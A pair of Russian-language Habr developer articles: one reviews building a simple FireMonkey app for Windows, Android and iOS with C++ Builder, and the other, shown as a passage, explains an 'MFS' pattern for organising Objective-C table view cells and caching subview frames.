Имея за своей спиной бурное прошлое, связанное с созданием компиляторов, производитель снарядил FireMonkey нативными компиляторами С++ для x86 и ARMv7. Это позволяет выполнять компиляцию непосредственно на компьютере, где запущена среда разработки. Именно наличие собственных компиляторов и дает нам возможность программировать на C++ или даже Pascal, получая необходимый машинный код ARM на выходе. Однако для сборки приложения (link), подписывания, запуска на устройствах и отладки по-прежнему используется оригинальный инструментарий из средств разработки (SDK) мобильных платформ. Таким образом, перед началом работы вам всё равно потребуется выполнить следующие действия:
| iOS | Android |
| --- | --- |
| *Иметь Mac* | --- |
| Зарегистрироваться в iOS Developer Program | Зарегистрироваться на сайте Android Developer |
| Получить сертификаты (developer, provisioning) | Сгенерировать ключ для подписи приложений |
| Скачать и установить iOS SDK | Скачать и установить Android SDK и NDK |
| Скачать и установить PAServer на Mac | --- |
| Настроить соединение между RAD Studio и PAServer | --- |
Поскольку и RAD Studio и инструментарий Android работают на PC, то для разработки под Android требуется несколько меньше телодвижений, чем для iOS. Для сборки iOS приложений требуется Mac OS (так как только для неё Apple выпускает SDK). Таким образом, если разработка приложения проходит на PC, они должны как-то связываться. Из приведенный ниже диаграммы видно, как при помощи поставляемого Embarcadero PAServer (Platform Assistant Server) осуществляется сборка приложений iOS через PC:
### Пример
В рамках пробы FireMonkey мы разработали простое приложение (на уровне Hello world), на примере которого хотелось проверить работоспособность предлагаемой технологии.
Ниже приведен скриншот версии этого приложения для Windows и небольшой видеоролик, чтобы можно было увидеть его нехитрую работу в динамике:
Наше приложение почти не содержит кода. Тем не менее, расскажем, что именно мы делали.
В данном случае нас интересовала мутация пользовательского интерфейса на разных платформах, а также производительность, но в «житейском» её понимании. То есть пользователю важно не количество операций с плавающей точкой в секунду, а насколько мягко и быстро откликается приложение на его действия.
Приложение состоит из нескольких стандартных элементов управления и содержит пару обработчиков действий пользователя. В верхней части экрана расположена «крутилка», двигая которую, можно поворачивать картинку слева. Эта часть теста была нужна для проверки способности FMX к рисованию двухмерной графики, точнее выполнения растровых операций.
Расположенный чуть ниже прогресс индикатор отображает текущее значение угла, на которое выставлено колесо. Он нужен для проверки взаимодействий в UI потоке и, также, чтобы посмотреть на стиль этого элемента на разных платформах.
Обработчик поворота колеса:
```
//---------------------------------------------------------------------------
void __fastcall TForm1::DialAngleChange(TObject *Sender)
{
// Every time the angle dialer is spinned, assign
// its current value to the Image control...
imgLogo->RotationAngle = 360 - DialAngle->Value;
// The progress bar will get updated with a normalized angle value
pbAngle->Value = (int)fabs(DialAngle->Value)%360;
}
//---------------------------------------------------------------------------
```
Как видно, это обычный C++, но немного «запачканный» наследием Delphi.
Ниже расположена традиционная кнопка (которая, впрочем, не так уж и похожа на кнопку) со следующим HW обработчиком:
```
//---------------------------------------------------------------------------
void __fastcall TForm1::btnHelloClick(TObject *Sender)
{
// A simple HW assignment
btnHello->Text = "Hello world!";
}
//---------------------------------------------------------------------------
```
Правее виднеется поле для выбора даты (DateTimePicker). Нас интересовал, прежде всего, его внешний вид на мобильных ОС: будет ли в каждом случае использован нативный элемент управления или что-то рисованное. По этой же причине ниже следует ползунок и переключатель ВКЛ./ВЫКЛ. Этот переключатель, однако, обрел еще одну функцию: он включает один из стандартных визуальных эффектов FMX (радиальное размытие): нам хотелось посмотреть, рисует ли FMX элементы управления сам или делегирует эту работу мобильной ОС. *Ниже мы еще вернемся к этому вопросу, так как результат оказался не очевидным*.
В самом низу размещена таблица с двумя колонками. Таблица имеет отчетливые черты desktop приложения, хотя и с инерционной прокруткой. Нам хотелось посмотреть: каково будет ей пользоваться на мобильном телефоне. Таблица заполняется на старте приложения, просто, чтобы глазу было за что цепляться:
```
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
// Initialize the string grid with a bit of texts
// Define the number of items
gdDemo->RowCount = 1000;
// Generate the texts for every Row and Column
for(int r = 0; r < gdDemo->RowCount; r++)
{
gdDemo->Cells[0][r] = "iResearchFX";
gdDemo->Cells[1][r] = IntToStr(r+1);
}
}
//---------------------------------------------------------------------------
```
### Компиляция
Компиляция проходит весьма неспешно — по своему обыкновению C++ Builder делает это как-то натужно. Всё же, долгие годы не сделали их компилятор C++ ни чуть не быстрее.
Пришла пора увидеть то же самое приложение в варианте для мобильных устройств. Для этого не нужно менять код или пользовательский интерфейс вашего приложения. Достаточно изменить некоторые настройки в проекте, которые, как будто, и создавались для того, чтобы «легким движением» можно было поменять целевую платформу.
Переключения платформы осуществляется без особых усилий — в IDE этот аспект интерфейса сделан нарочито и бескомпромиссно. Вы должны выбрать: Debug или Release компиляцию, целевую платформу, симулятор или устройство, и отдельно пометить осуществляется ли сборка для внутренних нужд или для публикации. В последнем случае от вас потребуются сертификаты для подписывания. *Сертификаты Android, если у вас их еще нет, вам тут же любезно предложат генерировать прямо из среды разработки; ну, а iOS профили должны стоять на том Mac, где будет выполняться заключительный этап сборки.*
Легко видеть, что в разделе Android перечислены все симуляторы, настроенные в Android SDK, а так же все подключенные устройства.
В разделе iOS опции в точности повторяют набор из XCode — это и не удивительно, учитывая, что сборка и запуск симулятора будут выполнены на удаленной машине Mac OS.
[](http://habrastorage.org/files/4a1/d23/244/4a1d23244bce477f9635fcee8dc1a850.png)
Слева показано, как выглядит приложения на основных мобильных платформах.
Как нетрудно заметить — и это отрадно — внешний вид почти не изменился, точнее, напротив: приложение непостижимым образом изменилось, но выглядит оно теперь точно так же, как если бы мы делали его интерфейс с нуля для каждой из платформ. В этом и состоит тот соблазн, ради которого мы хотели проверить FMX. Походит на восторг от первого использования Qt!
Видно, что это по-прежнему то же самое приложение, но все элементы управления сменились на «родные» для каждой из платформ. Именно это, по нашему мнению, и можно было бы назвать подлинно кросс-платформенной разработкой GUI приложений.
Мобильное приложение уже готово! Предлагаем вам посмотреть на его работу в живую на примере экранного видео, сделанного на физическом Android устройстве (HTC One). *Видео почти идентичны, мы сделали два ролика для статистики.*
| | |
| --- | --- |
| | |
На видео заметны некоторые аспекты работы нашего приложения.
1. **Время запуска.** Считается, что все приложения на Android-e запускаются не очень быстро, если мы говорим о «холодном» запуске. Здесь же прекрасно видно, что мы теряем около 2 секунд на старте (черный экран в самом начале видео). Много это или нет — решать Вам, но, по нашему мнению, это сильно зависит от типа приложения.
2. **Скорость работы.** Тут особых нареканий нет — интерфейс работает вполне ладно.
3. **Элементы управления.** Все элементы заменены на нативные и производят вполне Андройдовское впечатление.
4. **Grid.** Выглядит интересно для мобильной платформы и, вполне, рабочий — есть даже inplace редактирование ячеек.
### Post-mortem
Давайте посмотрим, что собой представляет изнутри наше свежесобранное приложение Android.
APK архив имеет весьма ощутимый размер в 6 Мб. Видимо, по старой традиции Delphi, в него затянули всю runtime библиотеку.
Внутри APK архива мы видим следующую структуру папок (показано справа). В глаза бросается наличие динамических библиотек (so), как бы намекающее нам на то, для чего именно использовался родной компилятор ARMv7 и NDK.
Обратим внимание на то, что папка lib содержит вложенные папки с названием архитектуры, и в каждой из них лежит наше приложение, названное отчего-то libProject1.so. Так вот, только в папке armeabi-v7a оно настоящее, и имеет размер порядка 21 Мб (в распакованном виде). Остальные же файлы библиотек представляют собой готовые хлопушки-заглушки, которые выстреливают в лицо пользователю сообщением, если его архитектура отличается от ARMv7. В этом производитель честно признается и не оставляет нам пока ничего иного.
Файл classes.dex содержит совсем не наше приложение, а Java загрузчик для основного FMX приложения-библиотеки и реализацию оберток для нативных элементов управления Android. Именно этот фрагмент и позволяет приложению взаимодействовать с ОС и «прикидываться» обычным приложением Android.
### Степень нативности
Как становится заметным на видео, эффекты FMX продолжают прекрасно действовать и на «родные» элементы управления Android, вмешиваясь в их отрисовку (например, мы даже включали свечение контуров у элементов управления, а это означает, что FMX работает с Android элементами управления не просто как с картинками, а очень даже плотно).
Себастьян Гингтер (SEBASTIAN P.R. GINGTER) в своей широко известной [статье](http://dotnetninja.de/2013/04/why-firemonkey-is-so-fundamentally-wrong-in-every-aspect-of-its-being/) по FMX отзывается о фреймворке очень нелестно, критикуя, как раз, то, что пользовательский интерфейс рисуется независимым образом и не выглядит нативно ни на одной из платформ. По всей видимости, в какой-то момент, это было именно так, но сейчас такую критику нельзя считать справедливой. Автор отрицает саму идею кроссплатформенных GUI приложений, без оглядки на конкретные реализации, отрицая потенциальные преимущества такого подхода.
### Заключение
Рассмотренный инструмент, безусловно, является продолжателем всех традиций VCL: славных и бесславных. Мы убедились в том, что технология сборки по-настоящему кросплатформенных мобильных приложений работает и показывает очень хорошую производительность. Для определенного класса приложений FMX будет хорошим подспорьем.
К негативным аспектам относится заметная временная задержка на запуске и не маленький размер результирующего приложения.
### Использованные материалы:
1. [Документация Embarcadero](http://docwiki.embarcadero.com/RADStudio/XE6/en/Category:FMX)
2. [Описание процесса разработки в FM](http://docwiki.embarcadero.com/RADStudio/XE6/en/Android_Mobile_Application_Development)
3. [ARM заглушки в XE6](http://docwiki.embarcadero.com/RADStudio/XE6/en/What's_New_in_Delphi_and_C++Builder_XE6#Detection_of_Unsupported_Android_Device_Architecture)
4. [Критика не нативного интерфейса](http://dotnetninja.de/2013/04/why-firemonkey-is-so-fundamentally-wrong-in-every-aspect-of-its-being/) | https://habr.com/ru/post/222307/ | null | ru | null |
# Паттерн MFS для табличных представлений в iOS приложениях
Все преимущества `MFS` в полной мере раскрываются при работе с ячейками таблицы.
Цель `MFS`: рационально распределять обязанности между категориями ячейки, чтобы обеспечить максимальную контролируемость всех процессов и плавность в **60 FPS** при прокрутке таблицы на любых устройствах.
**(⚠️)** Дорогие коллеги, встроенный редактор кода в Хабре является непредсказуемым.
Вставки кода во время предосмотра и по итогу могут отличаться.
Это значит, что могут появиться отступы и переносы в самых необычных местах, что мешает при чтении.
Если вам это причиняет дискомфорт, приглашаю вас на мой [гитхаб](https://github.com/m1a7/MFS-Pattern-Part2), где подобных эксцессов нет.
### Причина создания паттерна
`MFS` был создан потому, что стандартные методы `UITableViewCell`, которые нам предлагают переопределить, не отвечают современным потребностям сложных интерфейсов.
Вопросы следующего характера, перечисленные ниже, по-прежнему оставались не закрытыми:
1. В каком методе скрывать ненужные `subviews` у переиспользованной ячейки ?
2. В каком методе производить перерасчет размеров и координат ?
3. В каком методе осуществлять вставку контент в `subviews` ячейки ?
В конечном итоге, было принято решение проанализировать опыт работы и систематизировать его на основании приобретенных знаний в готовый паттерн, который можно было бы использовать как шпаргалку при построении новых проектов.
Чтобы более глубоко ознакомиться с причинами и историей создания паттерна, а также узнать, как паттерн функционирует при работе с контроллерами, рекомендуем ознакомиться с
[первой частью данной статьи.](https://habr.com/ru/post/539276/)
### Деление на категории
Изначально паттерн получил свое название от сокращения названий категорий `Managment`-`Frames`-`Styles`, которые расширяли стандартный класс вью контроллера, возлагая на себя определенные функциональные обязанности.
При работе с ячейками подобный подход был пересмотрен и код из категории `+Managment` было решено оставить в главном файле имплементации ячейки.Потому что, традиционно, класс ячейки менее нагружен, чем самый простой пример контроллера.
Однако, если ваша ячейка, к примеру, вынуждена выполнять протоколы `UIScrollViewDelegate`,`UITableViewDataSource`,`UITableViewDelegate` и вы считаете, что главный имплементационный файл и так нагружен, то вы можете смело создать категорию `+Managment` и вынести весь код отвечающий за построения `UI` в нее.
Предназначение каждой из категорий хорошо описано в таблице ниже:
| **Название категории** | **Обязанности** |
| --- | --- |
| `+Management`(*Optional for cells*) | Содержит методы дополнительного жизненного цикла интерфейса, которые инициализируют, добавляют на экран, наполняют контентом и совершают прочие действия. |
| `+Frames` | Содержит `pure` функции вычисляющие размеры и координаты `subviews`. |
| `+Styles` | Содержит методы графической конфигурации `subviews`.Например задает цвет,закругление,шрифт, итд.Как правило для каждого `property` существует отдельный метод настройки. |
### Главные методы и порядок их вызовов
Не секрет, что имея целый набор специальных методов для создания `UI`, в зависимости от функциональных обязанностей, которые стоят перед отдельной ячейкой, порядок их вызовов может несколько отличаться.
На схеме, расположенной выше, приведен усредненный пример цепочки вызванных методов для построения `UI` ячейки.
Различий, о которых шла речь, может быть множество, мы же перечислим только некоторые из них:
1. Если все ячейки таблицы содержат однотипный контент (например список друзей пользователя), то вызывать каждый раз метод `removeSubviews`, который удаляет все `subviews` с `contentView`, является нецелесообразно.
2. При перевороте таблицы системой вызывается метод `layoutSubviews`, что также порождает ветвление алгоритма в зависимости от ситуации, где-то требуется вызывать только `resizeSubviews`, где-то еще и `bindDataFrom`, а в некоторых случаях требуется полностью перерисовать интерфейс ячейки.
Функциональные обязанности главных методов
| **Имя метода** | **Принимает ли вьюМодель** | **Предназначение** |
| --- | --- | --- |
| `prepareUI` | ❌ | Главный метод построения `UI`, вызывает нужную последовательность методов.Данный метод рекомендуется вызывать из `initWithStyle:reuseIdentifier:`. |
| `removeSubviews` | ❌ | Удаляет все `subviews` с `superView`.А также обнуляет все проперти на `UI` элементы. |
| `initSubviews` | ✅ | Инициализирует нужные `subviews`. |
| `updateStyles` | ✅ | Вызывает индивидуальные методы настройки для каждого `subviews`, куда также передает вьюМодель, на основании данных которой может быть принято решение относительно стилей.Например, задает разный цвет для плашек сообщений, в зависимости от пола пользователя. |
| `bindDataFrom` | ✅ | Вставляет данные из вьюМодели в `subviews`. |
| `resizeSubviews` | ✅ | Вызывает индивидуальные методы расчета размеров и координат для каждой `subviews`. |
| `addSubviewsToSuperView` | ❌ | Добавляет `subviews` на `superView` ,если те были проинициализированы и не добавлены на родительское представление ранее. |
Из выше перечисленных методов явно прослеживается виденье того, как должен строиться UI.
**Порядок действий при первой инициализации ячейки:**
1. Инициализация нужных `subviews`.
2. Обновление стилей `subviews` (цвета/размер шрифта итд).
3. Вставка данных в `subviews`.
4. Расчет и установка корректных `frames` для `subviews`.
5. Добавление полностью готовых `subviews` на родительское представление.
**Порядок действий при пере-использовании ячейки:**
1. Вызывается сеттер установки вьюМодели `setViewModel`, который вызывает остальные методы по цепочке.
2. Обновляются стили `subviews` (например увеличивается отступ когда пост содержит четырехзначное число лайков)`updateStyles`.
3. Происходит расчет новых`frames` для `subviews` на основании данных новой вьюМодели.
4. Осуществляется биндинг данных.
**Порядок действий при перевороте таблицы:**
1. Системой вызывается метод `layoutSubviews`.
2. А в переопределенной реализации `layoutSubviews` мы вызываем `resizeSubviews`.
**⚠️ Еще раз вынужден повторить, порядок и набор вызываемых методов описанных выше, ЯВЛЯЕТСЯ ОБОБЩЕННЫМ примером, в зависимости от разной сложности интерфейса, вам придется самостоятельно конфигурировать схему вызовов.**
### Обзор листинга методов
Разбор методов мы будем осуществлять на примере ячейки поста из социальной сети.
Обратите внимание, на то, что демо-приложение из примера использует архитектуру **MVVM**.
Где:
1. `View` - отвечает исключительно за `UI` пользователя.
2. `ViewModel` - является промежуточным звеном между `view` и `model`.
Хранит методы обертки (преобразует данные из модели для отображения во `view`), хранит различные кэшируемые данные (высоту ячейки, `frames` внутренних элементов итд).
3. `Model` - хранит сырые данные.
Главным камнем преткновения использования таблицы является вопрос пере-использования ячеек.
Перед началом работы вы должны решить - ячейки в вашей таблице буду всегда инициализировать один и тот же набор `subviews`, а потом, если это требуется, скрывать их в отдельных ячейках (например кнопку read more... вы можете проинициализировать в каждой ячейки, но в тех ячейках, в которых текст не превышает лимит, эту кнопку вам потребуется скрыть) - или вы будете каждый раз удалять не нужные `subviews` с `contentView` и инициализировать нужные.
От этого решения (о котором подробнее будет написано ниже) будет зависеть порядок вызовов методов рисования.
Первым в нашей цепочке идет системный метод инициализации ячейки.
В нем мы сразу вызываем метод `prepareUI`, который подготовит весь `UI` ячейки.
Помните, что `initWithStyle:reuseIdentifier:` как правило вызывается всего несколько раз за все время использования таблицы, так как ячейки пере-используются.
```
- (instancetype)initWithStyle:(UITableViewCellStyle)style
reuseIdentifier:(nullable NSString *)reuseIdentifier
{
self = [super initWithStyle:style reuseIdentifier:reuseIdentifier];
if (self.contentView) {
[self prepareUI];
}
return self;
}
```
Метод создания ячейки всегда вызывается раньше, чем сеттер ее вьюМодели, поэтому, на момент исполнения метода `prepareUI` ее вьюМодел равняется `nil`.
Следовательно, у вас имеется всего два пути:
1. Вызывать `prepareUI` из `initWithStyle:reuseIdentifier:`.
Так можно делать если каждая ячейка содержит один и тот же ограниченный набор `subviews`.
Если же ячейки все-таки имеют некую вариативность, например в посте может отсутствовать либо присутствовать фото, тогда рекомендуется не удалять каждый раз `subviews`, а просто в методе `bindDataFrom` скрывать ненужные элементы.
2. Вызывать `prepareUI` из `setViewModel`.
Так нужно делать, если содержимое ячейки очень вариативное и содержать общий набор проинициализированных `subviews` вы просто не можете.
```
/*-------------------------------------------
Основной метод построения интерфейса.
Вызывает нужную последовательность методов
-------------------------------------------*/
- (void) prepareUI
{
if (self.contentView){
[self initSubviews:self.viewModel];
[self updateStyles:self.viewModel];
[self resizeSubviews:self.viewModel];
[self bindDataFrom:self.viewModel];
[self addSubviewsToSuperView];
}
}
```
Обратите внимание, что в этом методе происходит чистая инициализация, без каких- либо настроек. Также алгоритм имеет встроенную защиту от повторной инициализации `subviews`.
```
/*----------------------------------------------------------
Инициализирует нужные subviews на основе данных из viewModel
----------------------------------------------------------*/
- (void) initSubviews:(WallPostCellVM*)viewModel
{
if (self.contentView)
{
if (!self.avatarImgView) self.avatarImgView = [[UIImageView alloc] init];
if (!self.ownerNameLbl) self.ownerNameLbl = [[UILabel alloc] init];
if (!self.postDateLbl) self.postDateLbl = [[UILabel alloc] init];
if (!self.textLbl) self.textLbl = [[UILabel alloc] init];
if (!self.likeBtn) self.likeBtn = [UIButton buttonWithType:UIButtonTypeCustom];
....
}
}
```
В данном методе мы вызываем функции определенные в категории `+Styles`.
Они настраивают цвет, шрифт, иконки, селекторы и т.д. для `subviews`.
Обратите внимание на использование некого проперти `isStylized`.
Данное проперти динамически добавлено в класс `UIView` соответствующей категорией.
Дело в том, что некоторые `subview` имеет смысл конфигурировать всего один раз, ввиду крайней трудоемкости этого процесса, а `isStylized` используется как флаг, который оповещает алгоритм, о том, что данное проперти уже настроено.
```
/*-------------------------------------------------------
Вызывает методы графической конфигурации каждого subview
--------------------------------------------------------*/
- (void) updateStyles:(WallPostCellVM*)viewModel
{
if (!viewModel) return;
if (self.avatarImgView)
[self styleFor_avatarImgView:self.avatarImgView vm:viewModel];
if (self.ownerNameLbl)
[self styleFor_ownerNameLbl:self.ownerNameLbl vm:viewModel];
if (self.postDateLbl)
[self styleFor_postDateLbl:self.postDateLbl vm:viewModel];
if (self.textLbl)
[self styleFor_textLbl:self.textLbl vm:viewModel];
if ((self.photoGallery) && (!self.photoGallery.isStylized))
[self styleFor_photoGallery:self.photoGallery vm:viewModel];
if (self.commentBtn)
[self styleFor_commentBtn:self.commentBtn vm:viewModel];
if (self.likeBtn)
[self styleFor_likeBtn:self.likeBtn vm:viewModel];
if (self.repostBtn)
[self styleFor_repostBtn:self.repostBtn vm:viewModel];
if (self.readMoreBtn)
[self styleFor_readMoreBtn:self.readMoreBtn vm:viewModel];
self.selectionStyle = UITableViewCellSelectionStyleNone;
}
```
Далее в нашей цепочке идут методы `resizeSubviews` и `bindDataFrom`, которые имеют одну схожую проблему.Так, как выполнение данных методов может быть достаточно трудозатратным процессом, нам необходимо выработать условия, которые не будут позволять выполнять код внутри этих функций, если не произошло критическое изменение данных или каких-либо других внешних условий.
"Холостой" вызов методов может произойти по вине самой системы, которая часто вызывает такие системные методы как `layoutSubviews` или же `setFrame` по нескольку раз без видимых на то для нас причин.
Для предотвращения "холостых" вызовов мы должны добавить два проперти в нашу ячейку.
```
@interface WallPostCell ()
/*---------------------------------------------------------
Во время вызыова метода 'bindDataFrom:' алгоритм проверяет
идентичность данных в 'oldModel' и модели из аргументов.
Если модели идентичны, то биндинга данных не происходит.
Если модели разные, то происходит биндинг данных и в
проперти 'oldModel' присваивается значение из аргументов.
----------------------------------------------------------*/
@property (nonatomic, weak) WallPostCellVM* oldViewModel;
/*----------------------------------------------------------
Во время вызыова метода 'resizeSubviews:' алгоритм проверяет
равенство 'self.oldSize' c 'self.frame.size',
если значения индентичны (и viewModels также иднетичны),
то ячейки не требуется расчет новых координат для subviews.
---------------------------------------------------------*/
@property (nonatomic, assign) CGSize oldSize;
@end
```
Чтобы предотвращать "холостой" биндинг данных, ваша `viewModel` должна самостоятельно реализовать метод `isEqualToModel`, который должен сравнивать две вьюмодели и определять, имеют ли они критическое отличие друг от друга, которое нужно отобразить на `UI`, или нет.Если бы мы в качестве примера делали простую ячейку, которая содержит только текст, то в методе `isEqualToModel` проверяли бы текст на идентичность…
```
/*---------------------------------------
Сравнивает модели данных на индетичность.
----------------------------------------*/
- (BOOL) isEqualToModel:(WallPostCellVM*)object
{
BOOL isEqual = YES;
if (self.model.postID != object.model.postID){
isEqual = NO;
}
return isEqual;
}
```
Реализовываем ту самую конструкцию, которая ограничивает повторные выполнения кода внутри метода. И вызываем функции из категории `+Frames`, которые пересчитывают размеры и координаты для `subviews`ячейки.
```
/*-----------------------------------------------
Вызывает индивидуальные методы расчета размеров
и координат для subviews.
-----------------------------------------------*/
- (void) resizeSubviews:(WallPostCellVM*)viewModel
{
if (!viewModel) return;
// Выходим если модель данных и размеры одни и те же
if (([self.oldViewModel isEqualToModel:self.viewModel]) && (CGSizeEqualToSize(self.oldSize, self.frame.size))){
return;
}
if (self.contentView){
if (self.avatarImgView) self.avatarImgView.frame = [WallPostCell rectFor_avatarImgView:viewModel tableSize:self.frame.size];
if (self.ownerNameLbl) self.ownerNameLbl.frame = [WallPostCell rectFor_ownerNameLbl:viewModel tableSize:self.frame.size];
if (self.postDateLbl) self.postDateLbl.frame = [WallPostCell rectFor_postDateLbl:viewModel tableSize:self.frame.size];
if ((self.textLbl) && (viewModel.text.length > 0)) self.textLbl.frame = [WallPostCell rectFor_textLbl:viewModel tableSize:self.frame.size];
if ((self.photoGallery) && (viewModel.photos.count > 0)){
self.photoGallery.frame = [WallPostCell rectFor_photoGallery:viewModel tableSize:self.frame.size];
[self.photoGallery.collectionView reloadData];
}
[self.photoGallery.collectionView reloadData];
// превышен ли лимит текста
if ([viewModel isExceededTextLimit:CGRectGetWidth(self.contentView.frame)])
{
// Если мы хотим свернутый режим
if (!viewModel.isExpandText)
{
self.readMoreBtn.frame = [WallPostCell rectFor_readMoreBtn:viewModel tableSize:self.frame.size];
self.readMoreBtn.hidden = NO;
}else{
self.readMoreBtn.hidden = YES;
}
}
if (self.commentBtn) self.commentBtn.frame = [WallPostCell rectFor_commentBtn:viewModel tableSize:self.frame.size];
if (self.likeBtn) self.likeBtn.frame = [WallPostCell rectFor_likeBtn:viewModel tableSize:self.frame.size];
if (self.repostBtn) self.repostBtn.frame = [WallPostCell rectFor_repostBtn:viewModel tableSize:self.frame.size];
}
self.oldSize = self.frame.size;
}
```
Вставляем преобразованные данные из `viewModel` в `subviews`, также скрываем или раскрываем `subviews`.
```
/*-------------------------------------------
Вставляет контент из вьюМодели в subviews
-------------------------------------------*/
- (void) bindDataFrom:(WallPostCellVM*)viewModel
{
if (!viewModel) return;
// Если модели идентичны, то биндинга данных не происходит
if ([self.oldViewModel isEqualToModel:viewModel]){
return;
}else {
self.oldViewModel = viewModel;
}
// Скачивание автарки
[self.avatarImgView cancelCachingImage];
if (viewModel.avatar.length > 0){
[self.avatarImgView imgURL:viewModel.avatar];
}
// Установка имени пользователя или название группы
if (viewModel.ownerName.length > 0){
self.ownerNameLbl.text = (viewModel.ownerName) ?
viewModel.ownerName : @"Hidden name";
}
// Установка даты поста
if (viewModel.postDate.length > 0){
self.postDateLbl.text = (viewModel.postDate) ?
viewModel.postDate : @"Unknow date";
}
// Вставляем текст (если он имеется)
if (viewModel.text.length > 0){
self.textLbl.text = viewModel.text;
self.textLbl.hidden = NO;
if (([viewModel isExceededTextLimit:
CGRectGetWidth(self.contentView.frame)])
&& (!viewModel.isExpandText))
{
self.readMoreBtn.hidden = NO;
}else {
self.readMoreBtn.hidden = YES;
}
}else {
self.textLbl.hidden = YES;
self.readMoreBtn.hidden = YES;
}
// Вставка плитки с фотографиями
if (viewModel.photos.count > 0){
self.photoGallery.models = self.viewModel.imageGalleryModels;
[self.photoGallery.collectionView reloadData];
self.photoGallery.hidden = NO;
}else {
self.photoGallery.hidden = YES;
}
[self.likeBtn setTitle:viewModel.likesCount
forState:UIControlStateNormal];
[self.repostBtn setTitle:viewModel.repostsCount
forState:UIControlStateNormal];
[self.commentBtn setTitle:viewModel.commentsCount
forState:UIControlStateNormal];
}
```
Алгоритм имеет защиту от повторного добавления `subviews` на `superView`.
```
/*------------------------------
Добавляет subviews на superView
------------------------------*/
- (void) addSubviewsToSuperView
{
if (self.contentView){
if ((self.avatarImgView) && (!self.avatarImgView.superview)){
[self.contentView addSubview:self.avatarImgView];
}
if ((self.ownerNameLbl) && (!self.ownerNameLbl.superview)){
[self.contentView addSubview:self.ownerNameLbl];
}
if ((self.postDateLbl) && (!self.postDateLbl.superview)){
[self.contentView addSubview:self.postDateLbl];
}
if ((self.textLbl) && (!self.textLbl.superview)){
[self.contentView addSubview:self.textLbl];
}
if ((self.photoGallery) && (!self.photoGallery.superview)){
[self.contentView addSubview:self.photoGallery];
}
if ((self.postDateLbl) && (!self.postDateLbl.superview)){
[self.contentView addSubview:self.postDateLbl];
}
if ((self.commentBtn) && (!self.commentBtn.superview)){
[self.contentView addSubview:self.commentBtn];
}
if ((self.likeBtn) && (!self.likeBtn.superview)){
[self.contentView addSubview:self.likeBtn];
}
if ((self.repostBtn) && (!self.repostBtn.superview)){
[self.contentView addSubview:self.repostBtn];
}
if ((self.readMoreBtn) && (!self.readMoreBtn.superview)){
[self.contentView addSubview:self.readMoreBtn];
}
}
}
```
Переопределяем `layoutSubviews` и вызываем из него `resizeSubviews` для адаптации `subviews` под новый размер таблицы.
```
/*-------------------------------------------------------
Вызывается при перевороте экрана.
Также вызывается автоматически после инициализации в
-cellForRowAtIndexPath:..
--------------------------------------------------------*/
-(void)layoutSubviews
{
[super layoutSubviews];
[self resizeSubviews:self.viewModel];
}
```
Так же, как и было сказано ранее, на примере других функций, та цепочка методов, которая вызывается из данного сеттера, является индивидуальной для каждого случая.Где-то понадобится вызывать только `bindDataFrom`, где-то понадобится вызывать целый набор, который будет удалять, растягивать, пересчитывать и вставлять.
```
/*----------------------------------------
После установки новой вьюМодели вызываем
цепочку методов, чтобы те обновили UI
----------------------------------------*/
- (void)setViewModel:(WallPostCellVM *)viewModel
{
_viewModel = viewModel;
[self updateStyles:viewModel];
if (self.superview) [self resizeSubviews:viewModel];
[self bindDataFrom:viewModel];
}
```
### Кэширование размеров и координат subviews
Для того, чтобы обеспечить максимальную плавность интерфейса, нам необходимо предпринять следующие шаги:
1. Постараться вынести всю работу по вычислению координат `subviews` в фоновые потоки.
2. Постараться кэшировать ранее вычисленные данные, чтобы не нагружать процессор вычислениями, которые он совершал прежне.
В том числе, по этой же причине мы не используем `Autolayout`, потому что он представляет собой систему линейных неравенств, что негативно сказывается на скорости вычисления `frames` для `subviews`, поскольку при каждом добавлении даже, как нам кажется, самого незначительного элемента на `view`ячейки, происходит стремительно усложнение неравенства.
На которое тратится все больше и больше процессорного времени.
В нашей парадигме каждый кэш может принадлежать одной из двух сущностей:
1. Если `subviews` ячеек данного класса всегда имееют одни и те же размеры и коордианты, вне зависимости от модели данных, тогда кэш имеет смысыл сделать собственностью класса ячейки.
2. Если `subviews` основываясь на собственную модель данных может иметь разные `frames`, тогда кэш со значениями будет хранить объект `viewModel` данной конкретной ячейки.
### Типы ячеек
Для того, чтобы начать кэшировать вычисленные значения размеров и координат `subviews`, нам нужно классифицировать все возможные типы ячеек, что поможет нам понять, по какому принципу и сколько нужно создавать словарей для кэширования.
**Первый тип**
Для ячеек первого типа характерны следующие черты:
* Как правило, данные ячейки однотипны и однообразны.
* Размеры и координаты всех `subviews` заранее предопределены.
Пример: таблица контактов, `frames` аватарки и ФИО предопределены заранее.
* Если и будет иметь место какое-то различие между ячейками данного класса на основании данных полученных из их `viewModel`, то все `frames` при таком сценарии тоже должны быть жестко определены.
Пример: отображение времени последнего выхода в сеть (если оно не скрыто настройками приватности), тогда этот `UILabel` будет отображать под основным.
* Не всегда, но как правило, ячейки этого типа имеют одну и ту же высоту.
* Если имеется возможность "развернуть" ячейку, то параметры данного разворота также строго описаны.
Рациональным подходом будет всего один раз вычислить `frames` каждого из `subviews`, поскольку для каждой ячейки они будут одними и тем же, а затем сохранить значение в кэш.
**Второй тип**
Для ячеек второго типа характерны следующие черты:
* Размеры и координаты `subviews` всегда индивидуальны и зависят от данных представленных во `viewModel` ячейки.
* Высота ячейки является статичной и зависит от данных внутри `viewModel` (может меняться в зависимости от ориентации).
В качестве примера можно привести ячейку, которая содержит текстовое сообщение пользователя.
Высота ячейки зависит от длины сообщения.
Непосредственный `frame` для `UILabel` будет храниться внутри словаря `subviewFrames` во `viewModel`ячейки.
**Третий тип**
Для ячеек третьего типа характерны следующие черты:
* имеет сложный, составной UI.
* могут содержать `subviews` с динамическими размерами и координатами.
(то есть могут разворачиваться и сворачиваться).
* ячейка может менять высоту.
* при смене ориентации могут изменяться как размеры, так и координаты `subviews`.
Хорошим примером является ячейка, которая содержит пост пользователя. Текст может расширяться, что, во-первых, изменяет размеры самого текста и также меняет координаты `subviews` расположенных ниже его самого. И во-вторых, это меняет высоту самой ячейки.
### Типы кэшей
Для поддержки кэширования значений ячеек нам потребуется три различных кэша.
Чтобы избежать путаницы в названиях, ниже будет приведена таблица с определениями каждого из кэшей.
| **Название** | **Кто хранит strong ссылку** | **Функциональная нагрузка** |
| --- | --- | --- |
| `+subviewStaticFrames` | `UITableViewCell` | Хранят `frames` тех `subviews`, которые не зависят от данных из `viewModel`. |
